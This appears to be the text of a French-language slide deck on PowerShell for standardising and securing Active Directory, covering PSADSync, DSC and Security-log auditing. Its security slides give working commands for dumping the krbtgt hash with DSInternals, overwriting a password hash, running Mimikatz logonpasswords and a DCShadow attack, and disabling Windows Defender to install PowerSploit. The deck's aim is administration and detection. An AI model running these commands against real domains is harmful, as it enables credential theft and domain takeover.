PowerShell la solution pour standardiser et sécuriser votre système d’informations
Digital Intelligence & data A propos de Metsys Création fin 2011 Laurent Cayatte Président Yannick Varloud Directeur Général + 50% 5 agences en France 11 M€ Effectifs Nos offres 200 28 59 79 103 Cyber security Digital Intelligence & data Modern Workplace Infrastructure Services 2014 2015 2016 2017 Obj. 2018
Standardiser : le module PSADSync
Standardiser – le module PSADSYNC Pourquoi synchroniser Permet de synchroniser un annuaire Active Directory depuis un fichier CSV. Type d’opérations : création (très basique) et modification Fichier CSV : utiliser la virgule comme séparateur. Mieux vaut partir sur un MIM Synchronization Services 2016 (gratuit) Installation simple : install-module PSADSYNC
Standardiser – PowerShell DSC
PowerShell DSC – présentation générale Comment standardiser la configuration d’une machine ? PowerShell V4 – version recommandée : PowerShell 5.1. Idempotent (une opération a le même effet qu'on l'applique une ou plusieurs fois). Moteur PowerShell DSC est activée par défaut en attente d’un fichier de configuration. Inclus avec 23 ressources : registry, File, Services Nombreuses autres ressources au niveau de la communauté (PowerShell Galery…)- Création d’un fichier déclaratif (configuration) que l’on « compile » sous forme d’un fichier MOF. 3 actions possibles : tester la configuration (Test-DscConfiguration), appliquer la configuration (Start-DscConfiguration) et faire un retour arrière. PowerShell 5,1 : fichier MOF chiffré si exécution sur une machine distante. Toutes les 30 minutes, le moteur PowerShell DSC va réappliquer la configuration. Mode Push : mode manuel (celui qu’on présente ). Mode Pull : nécessite un serveur Collecteur sur lequel on crée un partage SMB. On met ensuite à disposition les fichier MOF.
PowerShell DSC – présentation générale Quelques commandes PowerShell DSC à connaître pour démarrer :
PowerShell DSC – exemple de fichiers de configuration PowerShell DSC Quand on lance la fonctionAuditPreConf, cela génère le fichier MOF. En mode appliquer : le nom du nœud doit correspondre au nom de la machine !!! Mettre le nom de la machine au lieu de AuditPreConf.
PowerShell DSC – exemple de fichier MOF
PowerShell DSC – tester si la machine est conforme Exécuter la commande : Test-DscConfiguration -ReferenceConfiguration "C:\DSC\AuditPreConf\AuditPreConfAll.mof" -ComputerName "sql2016a.oim.intra" | fl Machine non conforme IsDesiredState : false Composant non conforme ResourcesNOtInDesiredState
PowerShell DSC – appliquer une configuration sur une machine Exécuter la commande : Start-DscConfiguration "C:\DSC\AuditPreConf" -wait -force -verbose
Sécuriser – analyser le journal Security
Analyser le journal Security avec PowerShell Les problématiques : Déterminer les éléments à auditer et les interpréter. Ne pas perdre d’informations ----> attention à la rotation des événements Lenteur des commandes Get-WinEvent et Get-EventLog - volume de données très important -> plusieurs millions de ligne. Astuce : archivage des données sous forme de zip La solution : AuditConnexion Metsys Script PowerShell Metsys Utilisation des classes .Net Framework au lieu des commandes PowerShell.
Analyser le journal Security - Les événements à auditer Les ID : 4624 : réussite - ouverture de session (indique le type de protocole) 4625 : échec - ouverture de session 4648 : ouverture de session secondaire, LDAP Bind Simple 4768 : génération d’un ticket TGT (réussite et échec) 4769 : échec génération d’un ticket TGT 4776 : Credential Validation (validation authentification NTLM) – très nombreuses occurences …
Mesurer / optimiser la durée d’un script PowerShell Get-WinEvent est encore plus lent que Get-EventLog Measure-Command -Expression {Get-EventLog -LogName application} Measure-Command -Expression {Get-WinEvent @{logname='application'}} https://blogs.technet.microsoft.com/heyscriptingguy/2015/10/22/check-performance-of-event-log-queries/ Utiliser les classes .Net Framework au lieu des commandes natives CMDLET = classe .Net Framework Utilisation de la CMDLET Get-Member pour trouver les classes C# d’une CMDLET. Utilisation du MSDN pour comprendre comment fonctionne les classes C#
Comprendre ce qu’est une CMDLET Utilisation de DNSPY pour ouvrir la DLL d’un module PowerShell (exemple avec BitLocker) Utiliser la dernière build de dnSpy : https://github.com/0xd4d/dnSpy Lancer dnSpy.EXE et charger le fichier C:\Windows\System32\WindowsPower Shell\v1.0\Modules\BitLocker\Microsof t.BitLocker.Structures.dll
Comprendre le script AuditConnexion Instancier les 2 classes System.Diagnostics.Eventing.Reader.EventLogQuery et System.Diagnostics.Eventing.Reader.EventLogReader $LogName = "Security" $PathType = [System.Diagnostics.Eventing.Reader.PathType]::LogName $query = "*[System[(EventID=4624 or EventID=4625 or EventID=4768 or EventID=4769 or EventID=4771 or EventID=4776 or EventID=4648)]]" # Step 1 : Generate the request $EventLogQuery = New-Object System.Diagnostics.Eventing.Reader.EventLogQuery $LogName,$PathType,$query # Step 2 : run the request $events = new-object System.Diagnostics.Eventing.Reader.EventLogReader($EventLogQuery) Utiliser la méthode ReadEvent() pour lire 1 par 1 chaque événement. Convertir le résultat en XML. Ecrire le fichier que toutes les 10000 lignes. Vider la mémoire (Clear-Variable).
Sécuriser – le module DSInternals
Le stockage des mots de passe dans Active Directory Les membres des groupes à fort privilèges n’ont pas accès en lecture au mot de passe Mot de passe d’un compte utilisateur Active Directory : Stockés sous forme de Hash / empreintes : LMHASH (14127487) : 882B5831DF88FDB77C3113B4A1A5E3A0 NTHASH (14127487) : B8895ECED52341EDFC6A078BB962CB3B Attributs dBCSPwd / UnicodePwd (mot de passe) et lmPwdHistory / ntPwdHistory (historique) protégés par le système Pour récupérer les Hash avec LIBESEDB et NTDSXTRACT. Rainbow Table : retrouver un mot de passe à partir d’un HASH Rainbow Table 17 Go : retrouver tout mot passe à partir de son LMHASH (14 caractères maximum)
Le module DSInternals : vue d’ensemble Module de la communauté : https://www.powershellgallery.com/packages/DSInternals/2.16.1 https://www.dsinternals.com/en/list-of-cmdlets-in-the-dsinternals-module/ Hacking Active Directory Approche module DSInternals : utilisation « standard » du protocole MS-DRSR (Directory Replication Service (DRS) Remote) : https://msdn.microsoft.com/en- us/library/cc228086.aspx 2 modes de fonctionnement : en ligne et hors ligne. Permet de lire / modifier le LMHASH et le NTHASH d’un compte. Installation simplifiée (PowerShell V5) : Install-Module DSInternals
Le module DSInternals : lire le hash du mot de passe de krbtgt Solution 1 : mode en ligne (domaine : oimmil.intra, contrôleur de domaine : MILDC1.oimmil.intra) Taper la commande suivante : Get-ADReplAccount -SamAccountName krbtgt -Domain oimmil -Server MILDC1.oimmil.intra
Le module DSInternals : lire le hash du mot de passe de krbtgt (solution 2) Solution 2 : mode hors ligne Générer un IFM (Install From Media) : Mkdir c:\_adm\IFM Ntdsutil Activate instance ntds ifm create full C:\_adm\IFM Afficher le mot de passe krbtgt au format nthash / lmhash avec la copie hors ligne du fichier NTDS.DIT $BootKey = Get-BootKey -SystemHiveFilePath C:\_adm\IFM\registry\SYSTEM $User = (Get-ADDBAccount -SamAccountName krbtgt -DBPath 'C:\_adm\ifm\Active Directory\ntds.dit' -Boot $BootKey) $NTHash = [System.BitConverter]::ToString($User.NTHash).replace("-","").ToLower() $NTHash
Le module DSInternals : modifier le NTHASH Modifier la valeur de l’attribut UnicodePwd : # Convertir un mot de passe au format NTHASH et éditer directement un compte utilisateur : Password = ConvertTo-SecureString -String "P@ssword2“ -Force –AsPlainText $NTHASH = ConvertTo-NTHash $Password Echo $NTHASH Set-SamAccountPasswordHash -SamAccountName service-powershell -NTHash $NTHASH -Domain oimmil
Sécuriser – le module PowerSploit
Le module PowerSploit : vue d’ensemble Module de la communauté : https://github.com/PowerShellMafia/PowerSploit https://adsecurity.org/?page_id=1821 https://resources.infosecinstitute.com/powershell-toolkit-powersploit/#gref https://sector.ca/wp-content/uploads/presentations17/Kevin-McBride-Sector-2017-Common-Attacks-Against- Active-Directory.pdf Principales fonctionnalités : injection de code, injection de DLL, détection d’antivirus, scan de ports, Keylogger, copie de fichiers verrouillé, intégration Mimikatz Installation simplifiée : Install-Module PowerSploit ---> faire une installation manuelle Mimikatz : Analyse de la mémoire du processus LSASS.EXE (client et services Active Directory), 2 modes de fonctionnement : en ligne et hors ligne. Permet d’accéder en lecture uniquement au LMHASH et le NTHASH d’un compte utilisateur avec la commande : Invoke-Mimikatz -command "privilege::debug sekurlsa::logonpasswords"
Installation du module PowerSploit : les astuces Télécharger les sources depuis le site web: https://github.com/PowerShellMafia/PowerSploit Problème sous Windows 10 / Windows 2016 https://github.com/PowerShellMafia/PowerSploit/issues/255 Procédure pour Windows 2012 R2 : Désactiver Windows Defender (gpedit.msc) Copier les sources dans le dossieren renommant le dossier PowerSpoit. C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ Débloquer les fichiers : Get-ChildItem –Path C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit -Recurse | Unblock-File
Sécuriser – détecter une attaque DCShadow avec PowerShell
Détecter l’attaque DCSHADOW avec PowerShell Prérequis : privilège Domain Admins. Principe : l’attaquant veut faire des changements qui ne seront pas répliqués sur tous les contrôleurs de domaine. DCShadow va faire passer la machine sur lequel il est exécuté pour un DC en faisant des changements au niveau de la partition de configuration et en modifiant les ServicePrincipalName au niveau du compte ordinateur de cette machine. Conséquence : comme le changement est logué sur le contrôleur de domaine source en situation « standard », le changement sur le faux DC n’est pas logué. Procédure : utilisation de 2 commandes dans une première fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push
Détecter l’attaque DCSHADOW avec PowerShell Procédure pour l’attaque DCSHADOW : Utilisation de 2 commandes dans une 1ère fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push Utilisation de 2 commandes dans une 2ème fenêtre Mimikatz : privilege::debug lsadump::dcshadow /push https://blog.alsid.eu/dcshadow-explained-4510f52fc19d https://www.synetis.com/2018/04/05/dcshadow-attaque-ad/ https://attack.stealthbits.com/how-dcshadow-persistence-attack-works Détecter une attaque DCSHADOW avec un script PowerShell : https://github.com/AlsidOfficial/UncoverDCShadow